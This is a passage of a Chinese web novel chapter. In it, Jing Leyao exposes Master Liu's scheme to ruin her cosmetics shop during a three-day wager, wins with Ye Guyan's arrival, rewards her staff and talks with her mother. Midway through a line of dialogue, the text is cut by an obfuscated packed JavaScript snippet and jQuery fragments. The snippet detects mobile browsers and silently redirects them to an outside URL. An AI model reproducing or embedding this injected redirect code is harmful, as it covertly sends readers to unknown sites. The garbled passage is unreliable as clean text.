刘家主带着一群手下大摇大摆地进入脂粉铺,不见外地在脂粉铺视察产品,随手拿起货台的产品瞅瞅撇嘴扔到边。转头看上铜镜,坐在木凳用手摆弄自己的两根胡须,玉扳指在铜镜里划过油润的光亮。手下们身体向外站在门口,堵得严严实实。本就不多的路人们看到兴师动众的架势吓得绕道走,一时间街道冷冷清清。
景乐瑶带着伙计们在刘家主手下不怀好意的目光中进入脂粉铺,“刘家主。”后面跟着的张三公子唯唯诺诺地露出脑袋,猪头脸对着刘家主惨笑。
铺内的伙计和丫鬟亦步亦趋地跟在刘家主身后,如临大敌,听到景乐瑶的声音全部松了一口气,眼神迸发救命的光芒。
刘家主停止摆弄胡须,不慌不忙地站起身,眼睛闪过精明,面对景乐瑶,“小侄来了,三日已到,小侄的脂粉铺似乎还是不景气。”
伙计们不服气,撸起袖子要和他理论,被景乐瑶制止。“刘家主,脂粉铺前两日火爆,唯独今日来脂粉铺的顾客甚少。你猜我在路口发现了谁?张三公子。”景乐瑶拎着衣领拽出缩在人后的张三公子,扔到地上,“不巧,他正带着打手威胁路人,让我和伙计抓个正着。”
话尾停顿,眼神撇过张三公子,直直盯上刘家主,声音冷冽,一字一句道,“张三公主立马辩解是受刘家主之托,于赌约的第三日即今日,无论何种手段让脂粉铺生意惨淡!”
刘家主的目光掠过张三公子不带一点停顿,依旧如笑面虎般,“小侄,没有证据的臆想不必再论。现下,你与我的赌约才是要紧。”说罢,从袖口拿出叠了两折的赌约,甩上一甩,慢腾腾地打开,“今日兑现赌约,不可反悔啊,小侄。”
“那我们就好好说说赌约,赌约写得是公平公正的条件下,张三公子带人扰乱脂粉铺的生意,毁坏赌约,又该如何?”景乐瑶踹了一脚张三公子,“张三公子,你说呢?”
刘家主的眼睛终于落在张三公子身上,“张三公子,可要好好好好说。”
张三公子的目光在景乐瑶和刘家主之间来回切换,身体战战兢兢,张口说话,语气越来越快,像后面有狗在追一样,“我—我,是我自己搞的,我想报复她!对,我就是看她不爽。”
刘家主哈哈大笑,伸出手啪啪地鼓掌,“小侄,不是我冤枉你,反倒是你冤枉我了。”语气一转,挥手让对峙的手下进来,“把这些东西都撤走。”
伙计们一见他们要搬走货台上的脂粉,顿时气急,护着货台不让他们靠近,与其推搡起来。景乐瑶的眉头一直紧蹙,深深吸气,“住手!刘家主,此话无理。不然我们请官府来?”
“张三公子的话前后相悖,不知真假,不如我们去公堂对上一对。”
动手的双方齐齐停下动作,目光都看向各自的主人,刘家主眼角一眯,抚摸玉扳指,“小侄,此事闹到官府不好看吧?景家刚被撤出皇商,你父亲又下落不明,你一个小女子,受得住公堂的话青石板吗?”
景乐瑶心中却定下心神,刘家果然和父亲失踪有关!“我不怕青石板,就是不知道张三公子受不受得住公堂的打板子?张三公子的体格能承受十板子吗?”
空气陷入焦灼,脂粉的香气四溢,钻进每个人的毛孔,香甜粘腻,甩不掉气味。张三公子彻底慌神,屁滚尿流地跪在地上爬到刘家主身前,像拽住救命稻草般抓住刘家主的一方袍角,语无伦次,“刘伯,救救我,我不想挨板子。救救我,救救我。”
刘家主冷哼一声,踢开膏药似的张三公子,“与我相干?”
张三公子的鼻涕眼泪糊在肿成猪头的脸上,“你!你—都是你!”转而下定决心般,向景乐瑶喊道,“都是他!让我想办法在赌约的第三日阻止你们脂粉铺的生意。他好拿下脂粉铺,落个好名声不好。”恨恨地看向刘家主,“都是你,你以为你成为皇商就是皇商了吗?没有我们张家出力,你还被景家踩在地上!你要我挨板子?没门!”
景乐瑶抱臂冷眼观看狗咬狗的好戏,只觉脂粉的味道越来越浓厚,呼吸间都是脂粉的味道,景家的事情,不简单。
“刘家主,你还有何话可说?”
刘家主眯起双眼,嘴角噙着笑,眼底划过冷意,“那又如何?你生意差就是差!赌约你还是输!不然,再来个三日赌约?”再来三日赌约,刘家主依然要闹事,惹得脂粉铺开不了门,脂粉铺,他刘家要定了!
景乐瑶拳头攥得用力,指节发白,呼吸又急又重,恨不得眼神放射闪电,劈死眼前这个人。“刘家主,既然你使诡计阻挠赌约,那么赌约你就输了。你也不想我向官府告你刚成为皇商,就仗势欺人吧?你这皇商的位子做得稳吗?”
刘家主嘴角的笑意猛然停滞,像一副僵硬的面具出现裂痕,眼底的温度骤降,“你威胁我?”
“只求公平而已。”景乐瑶汗毛竖起,一串惊悚闪过。表面丝毫不惧,眉峰如剑,眼中寒星冷冽,直直迎上刘家主毒蛇般的目光,嘴角扬起一丝弧度。
“你!”
“真热闹啊。”轻扬的声音传进空气凝固的脂粉铺,随着一阵脚步声,脂粉铺的空气仿佛流动起来,“我们来得不巧?”
来人身后排着一条长长的队伍,井然有序地跟在他身后,“景老板,生意这么好,怎么不招待客人?”抬眼撇过缩成一团的张三公子,微微眯眼,眼底不含温度,对上刘家主,眉尾压低,“这是?”
“叶公子见笑,和刘家主打赌脂粉铺三日起死回生,刘家主不愿承认自己输了。我能理解,但是顾客等不了啊,是不是,刘家主?”
刘家主脸色几番变幻,时而铁青,时而苍白,时而涨红,最终转为平静的黑。“小侄有大智慧,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723596|173949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我要向小侄学习。赌约,你赢了。我们走。”
“且慢,刘家主,赌约既已定出胜负,还有见证者,我们再立一张字据,刘家不再打脂粉铺的主意,我们相安无事。”景乐瑶抬手阻拦刘家主的道路,眼神示意当归呈上纸笔,与刘家主当众再签一份字据。
刘家主冷眼看着纸笔,玉扳指磕在书案发出声响,重重撂下毛笔,像斗败的公鸡走出脂粉铺,“来日方长。”手下们紧跟着刘家主走出脂粉铺,张三公子也畏畏缩缩地混出去。
景乐瑶收好字据,招呼伙计们和丫鬟按照平常用心招待顾客,自己和叶顾言来到柜台,郑重道谢,“多谢叶公子!”
叶顾言眉头微挑,眼尾上扬,“景老板今日说了很多次谢谢,只是口头说说?”
“我再送你些新品?还未出售的新品?不要钱,送货上门?”
叶顾言呵地笑出声,胸膛一起一伏,差点趴在柜台上笑,眸中星光点点,“景老板,你真有趣。”双眸一转,“不若你—?”话音未落,叶顾言猛地收回,“算了,还没想好。景老板先欠着吧。改日我再来找你兑换。”
景乐瑶以为叶顾言会顺势提出画像的事情,都做好准备答应,没想到叶顾言收回话头,倒惹得景乐瑶抬眼看他。
“景老板不愿意?”
景乐瑶受不住满目生辉的桃花眼,连忙看向别处,“愿意愿意,等着您。”
没有路口穷凶极恶的大汉威胁路人,也没有赌约的闹事,脂粉铺再次恢复热闹的气氛,叶顾言没有多留,确定景乐瑶接受兑换便识趣地离开,没有再打扰景乐瑶做生意。
景乐瑶打烊过后,将伙计和丫鬟们聚集货台,映着烛火,神神秘秘地让大家伸出手,一人一个小银锭落到手掌心。大家的目光像烛火闪烁,鼓掌声音响彻脂粉铺,“小姐!”
景乐瑶眉头上挑,语气轻快,“不要太感动,这是大家应得的。感谢大家这三日的付出,守住脂粉铺。接下来,我会再改变下脂粉铺,还需要大家继续加油,这几天大家可以稍稍休息。”
回到景府,景乐瑶依旧先去看望母亲,母亲精神依然大好,坐在榻上绣东西。见景乐瑶进屋,放下手中的绣布,“瑶儿,怎么样?”
景乐瑶边去净手边向母亲搭话,“母亲今日可好?脂粉铺还是咱景家的,刘家抢不走。”
母亲的眼中露出点点碎光,“好好好,瑶儿真棒。快看,我为你父亲和你绣的平安福。你们俩相继出事,我这心不定。改日,你和我去寺庙拜拜可好?”
“当然可以,母亲。脂粉铺暂时没有事情,我都有时间。想必父亲接下来几天也会有消息。”
母亲听闻眉间隐隐的担忧未散,“事不宜迟,我们明日去吧。”拉起景乐瑶的手,“瑶儿,你父亲一定平安无事,对吗?”
“当然。”